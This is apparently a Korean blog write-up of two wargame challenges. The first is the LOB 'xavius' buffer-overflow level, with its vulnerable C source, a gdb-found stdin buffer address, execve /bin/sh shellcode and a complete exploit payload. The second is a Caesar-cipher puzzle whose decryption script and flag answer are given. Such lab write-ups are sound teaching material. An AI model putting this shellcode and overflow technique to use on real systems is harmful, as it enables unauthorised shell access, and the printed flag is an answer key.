/*
        The Lord of the BOF : The Fellowship of the BOF
        - xavius
        - arg
*/

#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>

main()
{
        char buffer[40];
        char *ret_addr;

        // overflow!
        fgets(buffer, 256, stdin);
        printf("%s\n", buffer);

        if(*(buffer+47) == '\xbf')
        {
                printf("stack retbayed you!\n");
                exit(0);
        }

        if(*(buffer+47) == '\x08')
        {
                printf("binary image retbayed you, too!!\n");
                exit(0);
        }

        // check if the ret_addr is library function or not
        memcpy(&ret_addr, buffer+44, 4);
        while(memcmp(ret_addr, "\x90\x90", 2) != 0)     // end point of function
        {
                if(*ret_addr == '\xc9'){                // leave
                        if(*(ret_addr+1) == '\xc3'){    // ret
                                printf("You cannot use library function!\n");
                                exit(0);
                        }
                }
                ret_addr++;
        }

        // stack destroyer
        memset(buffer, 0, 44);
        memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));

        // LD_* eraser
        // 40 : extra space for memset function
        memset(buffer-3000, 0, 3000-40);

}


주석을 보면 fgets 함수에서 오버플로우를 발생시켜야한다.

그리고 바로 아래에 있는 두개의 if문을 보면 ret 0xbf로 시작하거나 0x08로 시작하는 주소가 들어가면 프로그램이 종료된다. 이 말은 즉 스택의 주소를 이용할 수 없다는 것이다.


또한 memset으로 버퍼의 값을 44바이트까지 0으로 변경한다.


이전과는 조금 다르게 문제에 접근해야한다.


fgets함수를 보면 stdin 임시버퍼를 사용해 buffer에 값을 입력한다.

memset으로 초기화 하더라도 임시버퍼에 있는 값들은 초기화가 되지 않는다. 이 점을 이용해 문제를 풀면 된다.


먼저 gdb로 임시버퍼의 주소를 확인한다.

1. main+29에 BP를 걸고 실행한다.

2. 임시버퍼의 주소를 찾는다.


0x4001500에 stdin의 주소다.

이제 버퍼에 쉘코드를 넣고 ret에 stdin의 주소를 넣어주면 된다.


25바이트 쉘코드 : \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80



payload : (python -c 'print "\x90"*44+"\x74\x50\x01\x40"+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"';cat)|./xavius


'Wargame > lord of bufferoverflow' 카테고리의 다른 글

Lord of bufferoverflow xavius  (0) 2017.10.12
Lord of bufferoverflow succubus  (0) 2017.09.20
Lord of bufferoverflow zombie_assassin  (0) 2017.09.07
Lord of bufferoverflow assassin  (0) 2017.08.26
Lord of bufferoverflow giant  (0) 2017.08.26

암호문 : Shal7 ohz illu dpao aol zjovvs zpujl 2001, dolu Zbuspu Pualyula Opno Zjovvs dhz klzpnuhalk hz aol mpyza PA johyhjalypzapj opno zjovvs pu Zlvbs. Zabkluaz dov hyl pualylzalk pu zljbypaf hyl ibpskpun h jsbi, huk pu aol yhyl hylhz vm ohjrpun, lhjo vaoly ohz olswlk lhjo vaoly huk ohz zabkplk zljbypaf. Aol zfzalthapj jbyypjbsbt huk aol whzzpvu vm aol jsbi tltilyz huk aol zluzl vm ylzwvuzpipspaf ohcl jvuaypibalk av aol opzavyf vm 17 flhyz. Aol Dvysk Dhy Aluupz Johtwpvuzopwz, ovzalk if aol Dvysk'z Tvza Dhualk if Klhao huk Klmluzl Tpupzayf, hyl wbispzolk pu chypvbz mplskz, pujsbkpun aol Pualyuhapvuhs Ohjrpun Jvumlylujl, vynhupglk if aol Pualyuhapvuhs Ohjrpun Jvumlylujl, huk wbispzopun pu chypvbz mplskz, pujsbkpun jvtwbalyz, Dli wvyahsz, huk ltilkklk mvythaz. Avkhf dl ohcl opkklu h mshn. MSHN{Shfly7_pz_nvvkkkkkkkkk}


치환암호
아래는 복호화 소스다.

import sys

enc = ""

def decrypt(encrypt, val):
    if val > 26:
        sys.exit()
    result = ""

    for i in encrypt:
        i = ord(i)
        if i > 64 and i < 91:
            new_val = i + val

            if new_val > 90:
                add_val = new_val - 90
                new_val = 64 + add_val
                result += hex(new_val)[2:].decode('hex')
            else:
                result += hex(new_val)[2:].decode('hex')
        elif i > 96 and i < 123:
            new_val = i + val

            if new_val > 122:
                add_val = new_val -122
                new_val = 96 + add_val
                result += hex(new_val)[2:].decode('hex')
            else:
                result += hex(new_val)[2:].decode('hex')
        else:
            result += hex(i)[2:].decode('hex')
    print result

decrypt(enc, 19)


복호문 : Late7 has been with the school since 2001, when Sunlin Internet High School was designated as the first IT characteristic high school in Seoul. Students who are interested in security are building a club, and in the rare areas of hacking, each other has helped each other and has studied security. The systematic curriculum and the passion of the club members and the sense of responsibility have contributed to the history of 17 years. The World War Tennis Championships, hosted by the World's Most Wanted by Death and Defense Ministry, are published in various fields, including the International Hacking Conference, organized by the International Hacking Conference, and publishing in various fields, including computers, Web portals, and embedded formats. Today we have hidden a flag. FLAG{Layer7_is_gooddddddddd}


답은 FLAG{Layer7_is_gooddddddddd} 다.


+ Recent posts